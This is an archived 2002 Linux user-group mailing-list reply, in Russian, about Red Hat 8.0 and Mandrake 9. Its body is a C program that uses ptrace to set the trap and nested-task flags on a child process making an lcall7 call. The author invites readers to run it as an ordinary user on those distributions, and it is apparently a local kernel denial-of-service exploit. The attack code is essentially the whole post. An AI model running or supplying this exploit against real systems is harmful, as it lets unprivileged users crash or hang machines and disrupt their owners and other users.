From mboxrd@z Thu Jan  1 00:00:00 1970
Return-Path: <i@stingr.net>
Date: Tue, 10 Dec 2002 12:21:48 +0300
From: Paul P Komkoff Jr <i@stingr.net>
To: =?koi8-r?B?69LJ188gzsHT1NLPxc7O2co=?= mailman <sarlug@lug.ru>
Subject: Re: **SPAM** [Sarlug] Mandrake 9.0 & RadHat 8.0
Message-ID: <20021210092148.GA375@stingr.net>
Mail-Followup-To: =?koi8-r?B?69LJ188gzsHT1NLPxc7O2co=?= mailman <sarlug@lug.ru>
References: <7211666562.20021209182537@inbox.ru> <1744049914.20021209195025@yandex.ru> <1708857843.20021209213148@inbox.ru> <1648536064.20021210115214@info.sgu.ru>
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <1648536064.20021210115214@info.sgu.ru>
User-Agent: Agent Darien Fawkes
X-Mailer: Intel Ultra ATA Storage Driver
X-RealName: Stingray Greatest Jr
Organization: Department of Fish & Wildlife
Sender: sarlug-admin@lug.ru
Errors-To: sarlug-admin@lug.ru
X-BeenThere: sarlug@lug.ru
X-Mailman-Version: 2.0.9
Precedence: bulk
Reply-To: sarlug@lug.ru
List-Unsubscribe: <http://lug.ru/mailman/listinfo/sarlug>,
	<mailto:sarlug-request@lug.ru?subject=unsubscribe>
List-Id: Saratov Linux User Group Maillist <sarlug.lug.ru>
List-Post: <mailto:sarlug@lug.ru>
List-Help: <mailto:sarlug-request@lug.ru?subject=help>
List-Subscribe: <http://lug.ru/mailman/listinfo/sarlug>,
	<mailto:sarlug-request@lug.ru?subject=subscribe>
List-Archive: <http://lug.ru/pipermail/sarlug/>
Archived-At: <http://lore.altlinux.org/sarlug/20021210092148.GA375@stingr.net/>
List-Archive: <http://lore.altlinux.org/sarlug/>
List-Post: <mailto:sarlug@lists.lug.ru>

Replying to Sin:
> Хорошо. В воскресенье будет 5CD с шапкой.

Вот вам программка:

#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )
{
    int pid;
    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
    void (* lcall7)( void ) = (void *) dos;
    struct user_regs_struct d;

    if( ! ( pid = fork() ) )
    {
        usleep( 1000 );
        (* lcall7)();
    }
    else
    {
        ptrace( PTRACE_ATTACH, pid, 0, 0 );
        while( 1 )
        {
            wait( 0 );
            ptrace( PTRACE_GETREGS, pid, 0, &d );
            d.eflags |= 0x4100; /* set TF and NT */
            ptrace( PTRACE_SETREGS, pid, 0, &d );
            ptrace( PTRACE_SYSCALL, pid, 0, 0 );
        }
    }

    return 1;
}

Позапускайте её на Redhat 8.0, Mandrake 9 ... :)))

Естественно, всё из-под обычного юзера :)

-- 
Paul P 'Stingray' Komkoff 'Greatest' Jr /// (icq)23200764 /// (http)stingr.net
  When you're invisible, the only one really watching you is you (my keychain)